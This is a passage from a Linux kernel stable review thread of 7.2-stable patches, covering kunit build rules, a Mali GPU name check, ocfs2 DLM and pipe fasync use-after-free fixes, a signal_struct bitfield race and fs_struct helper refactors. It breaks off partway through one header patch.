2026-10-23 16:38 ` [PATCH 7.2 053/242] entry: Account the deferred hrtimer rearm as hardirq context for lockdep Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 055/242] drm/panthor: fix immortalis condition Greg Kroah-Hartman
` (187 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, kernel test robot, Jason Gunthorpe,
Joerg Roedel, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jason Gunthorpe <jgg@nvidia.com>
[ Upstream commit 4bcfe29021993cb167fd9bbdb849f7d7247a166f ]
Use if_changed_rule so rule_cc_o_c runs cmd_save_c_flags for the kunit
objects. Without the saved flags CONFIG_LTO_CLANG_THIN_DIST runs the
ThinLTO backend with no --target and generates x86_64 code from arm64
bitcode.
Fixes: 1dd4187f53c3 ("iommupt: Add a kunit test for Generic Page Table")
Reported-by: kernel test robot <lkp@intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202610110841.120JzAJG-lkp@intel.com/
Assisted-by: LLM
Signed-off-by: Jason Gunthorpe <jgg@nvidia.com>
Signed-off-by: Joerg Roedel <joerg.roedel@amd.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/iommu/generic_pt/fmt/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/iommu/generic_pt/fmt/Makefile b/drivers/iommu/generic_pt/fmt/Makefile
index ea024d582594e..e308760d02b7d 100644
--- a/drivers/iommu/generic_pt/fmt/Makefile
+++ b/drivers/iommu/generic_pt/fmt/Makefile
@@ -25,6 +25,6 @@ $(eval $(foreach fmt,$(iommu_pt_fmt-m),$(call create_format,$(fmt),m)))
# with -DGENERIC_PT_KUNIT
$(obj)/kunit_iommu_%.o: $(src)/iommu_%.c FORCE
$(call rule_mkdir)
- $(call if_changed_dep,cc_o_c)
+ $(call if_changed_rule,cc_o_c)
obj-$(CONFIG_IOMMU_PT_KUNIT_TEST) += $(IOMMU_PT_KUNIT_TEST)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 055/242] drm/panthor: fix immortalis condition
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (53 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 054/242] iommupt/kunit: Use if_changed_rule for the kunit Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 056/242] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
` (186 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Erik Faye-Lund, Liviu Dudau,
Boris Brezillon, Steven Price, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Erik Faye-Lund <erik.faye-lund@arm.com>
[ Upstream commit c347fef5f8f8927985bd67835331ce4cf7ff43a4 ]
Exactly 10 cores is also valid for an Immortalis configuration,
according to the public documentation:
https://support.arm.com/compute-ip/immortalis-g715
So let's report this G715 with 10 cores as Immortalis as well, as long
as it supports the ray-intersection feature. This matches what we do for
more recent GPUs as well.
Fixes: 3b1dc21d6d80 ("drm/panthor: Add support for Mali-Gx15 family of GPUs")
Signed-off-by: Erik Faye-Lund <erik.faye-lund@arm.com>
Reviewed-by: Liviu Dudau <liviu.dudau@arm.com>
Reviewed-by: Boris Brezillon <boris.brezillon@collabora.com>
Reviewed-by: Steven Price <steven.price@arm.com>
Link: https://patch.msgid.link/20261014070902.169273-1-erik.faye-lund@arm.com
Signed-off-by: Steven Price <steven.price@arm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/panthor/panthor_hw.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/panthor/panthor_hw.c b/drivers/gpu/drm/panthor/panthor_hw.c
index 7e315708ca7ca..ea1e222ef1210 100644
--- a/drivers/gpu/drm/panthor/panthor_hw.c
+++ b/drivers/gpu/drm/panthor/panthor_hw.c
@@ -136,7 +136,7 @@ static char *get_gpu_model_name(struct panthor_device *ptdev)
case GPU_PROD_ID_MAKE(10, 7):
return "Mali-G610";
case GPU_PROD_ID_MAKE(11, 2):
- if (shader_core_count > 10 && ray_intersection)
+ if (shader_core_count >= 10 && ray_intersection)
return "Mali-G715-Immortalis";
else if (shader_core_count >= 7)
return "Mali-G715";
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 056/242] ocfs2/dlm: Protect the recovery list during debugfs reads
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (54 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 055/242] drm/panthor: fix immortalis condition Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 057/242] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
` (185 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Cen Zhang, Joseph Qi,
Christian Brauner (Amutable), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang <zzzccc427@gmail.com>
[ Upstream commit 4c435828932bf46f29860e4a0375bcae101b778a ]
Recovery participant records must remain alive while debug_state_print()
walks reco.node_data and formats their fields. The formatter holds
dlm->spinlock, but the recovery participant list is protected by
dlm_reco_state_lock. In particular, dlm_destroy_recovery_area() detaches
the list under dlm_reco_state_lock and frees the detached records after
releasing it. A concurrent debugfs open can therefore read freed memory.
Protect the participant traversal and field reads in debug_state_print()
with dlm_reco_state_lock, matching the existing list writers. This also
serializes the traversal against list_add_tail() during recovery-area
initialization. Make the existing lock available to the debug code
through dlmcommon.h; the lock remains internal to the OCFS2 DLM module.
Release dlm->spinlock after formatting the other domain state and before
acquiring dlm_reco_state_lock, so the debug reader does not nest the two
locks. Leave recovery list insertion, detachment and freeing unchanged.
KASAN report as below:
BUG: KASAN: slab-use-after-free in debug_state_open+0x1169/0x12d0
Read of size 4 at addr ffff88810662ef80 by task dlm-state-stres/896
CPU: 1 UID: 0 PID: 896 Comm: dlm-state-stres Not tainted 7.3.0-rc4-next-20260921-pmb-ocfs2-functional-v1+ #1 PREEMPT(lazy)
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0x93/0xd0
print_report+0xce/0x630
? debug_state_open+0x1169/0x12d0
? srso_alias_return_thunk+0x5/0xfbef5
? __virt_addr_valid+0x20e/0x420
? debug_state_open+0x1169/0x12d0
kasan_report+0xe0/0x110
? debug_state_open+0x1169/0x12d0
debug_state_open+0x1169/0x12d0
? __pfx_debug_state_open+0x10/0x10
full_proxy_open_regular+0x193/0x310
do_dentry_open+0x595/0x12d0
? __pfx_full_proxy_open_regular+0x10/0x10
vfs_open_consume+0xd1/0x400
? srso_alias_return_thunk+0x5/0xfbef5
path_openat+0x18d0/0x2020
? __pfx_path_openat+0x10/0x10
do_file_open+0x21e/0x470
? __pfx_do_file_open+0x10/0x10
? _raw_spin_unlock+0x23/0x40
? srso_alias_return_thunk+0x5/0xfbef5
? alloc_fd+0x3a6/0x6b0
do_sys_openat2+0xf4/0x1b0
? __pfx_do_sys_openat2+0x10/0x10
? srso_alias_return_thunk+0x5/0xfbef5
? __fput+0x5b5/0xa60
__x64_sys_openat+0x136/0x1e0
? __pfx___x64_sys_openat+0x10/0x10
do_syscall_64+0x114/0x620
entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Register dump omitted.]
</TASK>
Allocated by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
__kasan_kmalloc+0xaa/0xb0
__kmalloc_cache_noprof+0x28d/0x610
dlm_remaster_locks+0x147/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
Freed by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
kasan_save_free_info+0x3b/0x60
__kasan_slab_free+0x5f/0x80
kfree+0x308/0x580
dlm_destroy_recovery_area+0x285/0x460
dlm_remaster_locks+0x17c4/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
The buggy address belongs to the object at ffff88810662ef80
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 0 bytes inside of
freed 32-byte region [ffff88810662ef80, ffff88810662efa0)
[Page and memory-state dumps omitted.]
Fixes: 007dce53a29c ("ocfs2/dlm: Dump the dlm state in a debugfs file")
Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
Link: https://patch.msgid.link/pm-ocfs2-objects-candidate-0049-v3-184e46c47f5283f06191@gmail.com
Reviewed-by: Joseph Qi <joseph.qi@linux.alibaba.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/ocfs2/dlm/dlmcommon.h | 2 ++
fs/ocfs2/dlm/dlmdebug.c | 5 ++++-
fs/ocfs2/dlm/dlmrecovery.c | 2 +-
3 files changed, 7 insertions(+), 2 deletions(-)
diff --git a/fs/ocfs2/dlm/dlmcommon.h b/fs/ocfs2/dlm/dlmcommon.h
index 20f790a47484a..58b28dfa8d34e 100644
--- a/fs/ocfs2/dlm/dlmcommon.h
+++ b/fs/ocfs2/dlm/dlmcommon.h
@@ -435,6 +435,8 @@ enum {
DLM_DEREF_LOCKRES_DONE = 522,
};
+extern spinlock_t dlm_reco_state_lock;
+
struct dlm_reco_node_data
{
int state;
diff --git a/fs/ocfs2/dlm/dlmdebug.c b/fs/ocfs2/dlm/dlmdebug.c
index ce6d301cb9420..a91f167ed6839 100644
--- a/fs/ocfs2/dlm/dlmdebug.c
+++ b/fs/ocfs2/dlm/dlmdebug.c
@@ -736,8 +736,11 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len)
buf + out, len - out);
out += scnprintf(buf + out, len - out, "\n");
+ spin_unlock(&dlm->spinlock);
+
/* Recovery Node State: */
out += scnprintf(buf + out, len - out, "Recovery Node State:\n");
+ spin_lock(&dlm_reco_state_lock);
list_for_each_entry(node, &dlm->reco.node_data, list) {
switch (node->state) {
case DLM_RECO_NODE_DATA_INIT:
@@ -769,7 +772,7 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len)
node->node_num, state);
}
- spin_unlock(&dlm->spinlock);
+ spin_unlock(&dlm_reco_state_lock);
return out;
}
diff --git a/fs/ocfs2/dlm/dlmrecovery.c b/fs/ocfs2/dlm/dlmrecovery.c
index 9d4a2695b9594..7d519e31fcf17 100644
--- a/fs/ocfs2/dlm/dlmrecovery.c
+++ b/fs/ocfs2/dlm/dlmrecovery.c
@@ -80,7 +80,7 @@ static int dlm_lockres_master_requery(struct dlm_ctxt *dlm,
static u64 dlm_get_next_mig_cookie(void);
-static DEFINE_SPINLOCK(dlm_reco_state_lock);
+DEFINE_SPINLOCK(dlm_reco_state_lock);
static DEFINE_SPINLOCK(dlm_mig_cookie_lock);
static u64 dlm_mig_cookie = 1;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 057/242] samples: pidfd: fix userprogs typo
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (55 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 056/242] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 058/242] exit: fix lost-update race on the child_subreaper bitfields Greg Kroah-Hartman
` (184 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin, Christian Brauner
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
[ Upstream commit f1365f97fb7498d805981102eee22d362ae643f2 ]
The Makefile adds pidfd-metadata to "usertprogs-always-y", which kbuild
does not know, so the sample has not been built since the conversion to
userprogs, even with CONFIG_SAMPLE_PIDFD=y.
Fix the variable name. pidfd-metadata.c builds without warnings with
gcc and clang for x86_64 and arm64.
Fixes: 60fb0b1239719 ("samples: pidfd: build sample program for target architecture")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Link: https://patch.msgid.link/20261011223358.2327625-14-sashal@kernel.org
Reviewed-by: Christian Brauner <brauner@kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
samples/pidfd/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/samples/pidfd/Makefile b/samples/pidfd/Makefile
index 9754e2d81f70d..d82409f7061f3 100644
--- a/samples/pidfd/Makefile
+++ b/samples/pidfd/Makefile
@@ -1,4 +1,4 @@
# SPDX-License-Identifier: GPL-2.0
-usertprogs-always-y += pidfd-metadata
+userprogs-always-y += pidfd-metadata
userccflags += -I usr/include
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 058/242] exit: fix lost-update race on the child_subreaper bitfields
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (56 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 057/242] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 059/242] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
` (183 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Nickolai Zeldovich, Oleg Nesterov,
Christian Brauner (Amutable), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nickolai Zeldovich <nickolai@csail.mit.edu>
[ Upstream commit 28d2905d77bc2e7c20260a6bc6b4179bdf95cb06 ]
is_child_subreaper, has_child_subreaper, autoreap and, with
CONFIG_POSIX_TIMERS=y, timer_create_restore_ids are 1-bit fields that
share one memory location in struct signal_struct. A store to any of
them is a read-modify-write of the whole word, and three of the stores
run without a common lock:
- PR_SET_CHILD_SUBREAPER writes me->signal->is_child_subreaper with
no lock held.
- propagate_has_child_subreaper(), run by walk_process_tree() from
the same prctl in an ancestor, writes p->signal->has_child_subreaper
of every descendant p under read_lock(&tasklist_lock), which does
not exclude the other writers.
- PR_TIMER_CREATE_RESTORE_IDS writes
current->signal->timer_create_restore_ids with no lock held.
When a process calls prctl(PR_SET_CHILD_SUBREAPER, 1) while an
ancestor's PR_SET_CHILD_SUBREAPER walk visits it, or while another
thread of the same process calls prctl(PR_TIMER_CREATE_RESTORE_IDS),
the read-modify-write sequences interleave and one of the bits is
silently lost:
- If has_child_subreaper is lost, the process's orphaned descendants
are reparented straight to init when it exits: find_new_reaper()
tests father->signal->has_child_subreaper first and never looks for
the ancestor subreaper. The service manager that registered as the
subreaper never gets SIGCHLD for them and cannot wait() on them.
- If is_child_subreaper is lost, the prctl returned 0 but the process
is not a subreaper: orphans of its descendants skip it and are
reparented to the next subreaper up or to init.
PR_GET_CHILD_SUBREAPER reads back 0.
- If timer_create_restore_ids is lost, the prctl returned 0 but
timer_create() does not restore the requested timer ids (or keeps
restoring them after _OFF), and _GET reads back the old value.
Documentation/memory-barriers.txt requires all fields of one bitfield
to be protected by one lock for exactly this reason. No lock is taken
or documented for these flags, and the prctls need no privilege, so any
process can hit the race against its own ancestors or descendants, or
between two of its own threads.
Make is_child_subreaper and has_child_subreaper separate bool members.
Each store then has its own memory location and no read-modify-write
of a neighbour. The readers and their locking are unchanged.
autoreap stays a bit-field and so shares a memory location only with
timer_create_restore_ids. That pair is race-free: autoreap is stored
exactly once, in copy_process() before the new signal_struct is
reachable by any other task, and timer_create_restore_ids is only
stored to the signal_struct of an already running process.
Fixes: 749860ce2427 ("prctl: propagate has_child_subreaper flag to every descendant")
Signed-off-by: Nickolai Zeldovich <nickolai@csail.mit.edu>
Link: https://patch.msgid.link/20261011123440.768054-1-nickolai@csail.mit.edu
Acked-by: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/sched/signal.h | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/include/linux/sched/signal.h b/include/linux/sched/signal.h
index d45a5476b97de..efa1e2d6c7a6b 100644
--- a/include/linux/sched/signal.h
+++ b/include/linux/sched/signal.h
@@ -130,8 +130,8 @@ struct signal_struct {
* process will inherit a flag if they should look for a
* child_subreaper process at exit.
*/
- unsigned int is_child_subreaper:1;
- unsigned int has_child_subreaper:1;
+ bool is_child_subreaper;
+ bool has_child_subreaper;
unsigned int autoreap:1;
#ifdef CONFIG_POSIX_TIMERS
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 059/242] pipe: preserve existing fasync readers on writer setup failure
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (57 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 058/242] exit: fix lost-update race on the child_subreaper bitfields Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 060/242] fs: add switch_fs_struct() Greg Kroah-Hartman
` (182 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Kyle Zeng,
Christian Brauner (Amutable), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit 40bb03d3ea6f6a915218508819ecc4d7a7fa260d ]
F_SETFL and FIOASYNC decide whether to invoke ->fasync() before
pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can
therefore both enter the callback.
fasync_helper() allocates before checking for an existing entry. If the
first enable installs both entries, a second enable can update the
reader entry and then fail the allocation for the writer entry. The
error path removes the pre-existing reader entry, clearing FASYNC while
the writer entry remains registered. __fput() then skips ->fasync(), so a
later pipe notification can dereference the freed file or its f_owner.
An unprivileged memory-pressure reproducer triggers a KASAN
slab-use-after-free in send_sigio() through this path.
Keep the reader helper's result and undo the registration only if this
call added it. The pipe mutex serializes changes to both lists, so a
failed new registration still removes its reader, while a failed
duplicate preserves the existing registrations and FASYNC. Successful
duplicate enables continue to update fa_fd as before.
Fixes: 76398425bb06 ("Move FASYNC bit handling to f_op->fasync()")
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/pipe.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/fs/pipe.c b/fs/pipe.c
index 429b0714ec575..910be01a6c935 100644
--- a/fs/pipe.c
+++ b/fs/pipe.c
@@ -853,9 +853,11 @@ pipe_fasync(int fd, struct file *filp, int on)
if (filp->f_mode & FMODE_READ)
retval = fasync_helper(fd, filp, on, &pipe->fasync_readers);
if ((filp->f_mode & FMODE_WRITE) && retval >= 0) {
+ int read_ret = retval;
+
retval = fasync_helper(fd, filp, on, &pipe->fasync_writers);
- if (retval < 0 && (filp->f_mode & FMODE_READ))
- /* this can happen only if on == T */
+ /* Undo only a reader entry added by this call. */
+ if (retval < 0 && read_ret > 0)
fasync_helper(-1, filp, 0, &pipe->fasync_readers);
}
mutex_unlock(&pipe->mutex);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 060/242] fs: add switch_fs_struct()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (58 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 059/242] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 061/242] fs: notice when init abandons fs sharing Greg Kroah-Hartman
` (181 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit 21bcea3ef2025796a29ba88f2747d864ed535758 ]
Don't open-code the guts of replacing current's fs struct.
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-1-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/fs_struct.c | 18 ++++++++++++++++++
include/linux/fs_struct.h | 2 ++
kernel/fork.c | 22 ++++++----------------
3 files changed, 26 insertions(+), 16 deletions(-)
diff --git a/fs/fs_struct.c b/fs/fs_struct.c
index 394875d06fd60..c441586537e7e 100644
--- a/fs/fs_struct.c
+++ b/fs/fs_struct.c
@@ -147,6 +147,24 @@ int unshare_fs_struct(void)
}
EXPORT_SYMBOL_GPL(unshare_fs_struct);
+struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)
+{
+ struct fs_struct *fs;
+
+ scoped_guard(task_lock, current) {
+ fs = current->fs;
+ read_seqlock_excl(&fs->seq);
+ current->fs = new_fs;
+ if (--fs->users)
+ new_fs = NULL;
+ else
+ new_fs = fs;
+ read_sequnlock_excl(&fs->seq);
+ }
+
+ return new_fs;
+}
+
/* to be mentioned only in INIT_TASK */
struct fs_struct init_fs = {
.users = 1,
diff --git a/include/linux/fs_struct.h b/include/linux/fs_struct.h
index 0070764b790a3..ade459383f925 100644
--- a/include/linux/fs_struct.h
+++ b/include/linux/fs_struct.h
@@ -40,6 +40,8 @@ static inline void get_fs_pwd(struct fs_struct *fs, struct path *pwd)
read_sequnlock_excl(&fs->seq);
}
+struct fs_struct *switch_fs_struct(struct fs_struct *new_fs);
+
extern bool current_chrooted(void);
static inline int current_umask(void)
diff --git a/kernel/fork.c b/kernel/fork.c
index 854448152696b..739659e71af53 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -3220,7 +3220,7 @@ static int unshare_fd(unsigned long unshare_flags, struct files_struct **new_fdp
*/
int ksys_unshare(unsigned long unshare_flags)
{
- struct fs_struct *fs, *new_fs = NULL;
+ struct fs_struct *new_fs = NULL;
struct files_struct *new_fd = NULL;
struct cred *new_cred = NULL;
struct nsproxy *new_nsproxy = NULL;
@@ -3298,23 +3298,13 @@ int ksys_unshare(unsigned long unshare_flags)
new_nsproxy = NULL;
}
- task_lock(current);
+ if (new_fs)
+ new_fs = switch_fs_struct(new_fs);
- if (new_fs) {
- fs = current->fs;
- read_seqlock_excl(&fs->seq);
- current->fs = new_fs;
- if (--fs->users)
- new_fs = NULL;
- else
- new_fs = fs;
- read_sequnlock_excl(&fs->seq);
- }
-
- if (new_fd)
+ if (new_fd) {
+ guard(task_lock)(current);
swap(current->files, new_fd);
-
- task_unlock(current);
+ }
if (new_cred) {
/* Install the new user namespace */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 061/242] fs: notice when init abandons fs sharing
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (59 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 060/242] fs: add switch_fs_struct() Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 062/242] fs: add scoped_with_init_fs() Greg Kroah-Hartman
` (180 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit d114eb8577bd8d6c307ab0a096ae7df93fb7e011 ]
PID 1 may choose to stop sharing fs_struct state with us. Either via
unshare(CLONE_FS) or unshare(CLONE_NEWNS). Of course, PID 1 could have
chosen to create arbitrary process trees that all share fs_struct state
via CLONE_FS. This is a strong statement: We only care about PID 1 aka
the thread-group leader so subthread's fs_struct state doesn't matter.
PID 1 unsharing fs_struct state is a bug. PID 1 relies on various
kthreads to be able to perform work based on its fs_struct state.
Breaking that contract sucks for both sides. So just don't bother with
extra work for this. No sane init system should ever do this.
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-2-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/fs_struct.c | 25 +++++++++++++++++++++++++
1 file changed, 25 insertions(+)
diff --git a/fs/fs_struct.c b/fs/fs_struct.c
index c441586537e7e..fcecf209f1a9e 100644
--- a/fs/fs_struct.c
+++ b/fs/fs_struct.c
@@ -147,6 +147,30 @@ int unshare_fs_struct(void)
}
EXPORT_SYMBOL_GPL(unshare_fs_struct);
+/*
+ * PID 1 may choose to stop sharing fs_struct state with us.
+ * Either via unshare(CLONE_FS) or unshare(CLONE_NEWNS). Of
+ * course, PID 1 could have chosen to create arbitrary process
+ * trees that all share fs_struct state via CLONE_FS. This is a
+ * strong statement: We only care about PID 1 aka the thread-group
+ * leader so subthread's fs_struct state doesn't matter.
+ *
+ * PID 1 unsharing fs_struct state is a bug. PID 1 relies on
+ * various kthreads to be able to perform work based on its
+ * fs_struct state. Breaking that contract sucks for both sides.
+ * So just don't bother with extra work for this. No sane init
+ * system should ever do this.
+ */
+static inline void validate_fs_switch(struct fs_struct *old_fs)
+{
+ if (likely(current->pid != 1))
+ return;
+ /* @old_fs may be dangling but for comparison it's fine */
+ if (old_fs != &init_fs)
+ return;
+ pr_warn("VFS: Pid 1 stopped sharing filesystem state\n");
+}
+
struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)
{
struct fs_struct *fs;
@@ -162,6 +186,7 @@ struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)
read_sequnlock_excl(&fs->seq);
}
+ validate_fs_switch(fs);
return new_fs;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 062/242] fs: add scoped_with_init_fs()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (60 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 061/242] fs: notice when init abandons fs sharing Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 063/242] fs: add real_fs to track tasks actual fs_struct Greg Kroah-Hartman
` (179 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit 67c54d1d730a8b7a43f2560dcea9b7dc95fba1cd ]
Similar to scoped_with_kernel_creds() allow a temporary override of
current->fs to serve the few places where lookup is performed from
kthread context or needs init's filesytem state.
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-3-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/fs_struct.h | 31 +++++++++++++++++++++++++++++++
1 file changed, 31 insertions(+)
diff --git a/include/linux/fs_struct.h b/include/linux/fs_struct.h
index ade459383f925..e11d0e57168fd 100644
--- a/include/linux/fs_struct.h
+++ b/include/linux/fs_struct.h
@@ -6,6 +6,7 @@
#include <linux/path.h>
#include <linux/spinlock.h>
#include <linux/seqlock.h>
+#include <linux/vfsdebug.h>
struct fs_struct {
int users;
@@ -49,4 +50,34 @@ static inline int current_umask(void)
return current->fs->umask;
}
+/*
+ * Temporarily use userspace_init_fs for path resolution in kthreads.
+ * Callers should use scoped_with_init_fs() which automatically
+ * restores the original fs_struct at scope exit.
+ */
+static inline struct fs_struct *__override_init_fs(void)
+{
+ struct fs_struct *fs;
+
+ fs = current->fs;
+ WRITE_ONCE(current->fs, fs);
+ return fs;
+}
+
+static inline void __revert_init_fs(struct fs_struct *revert_fs)
+{
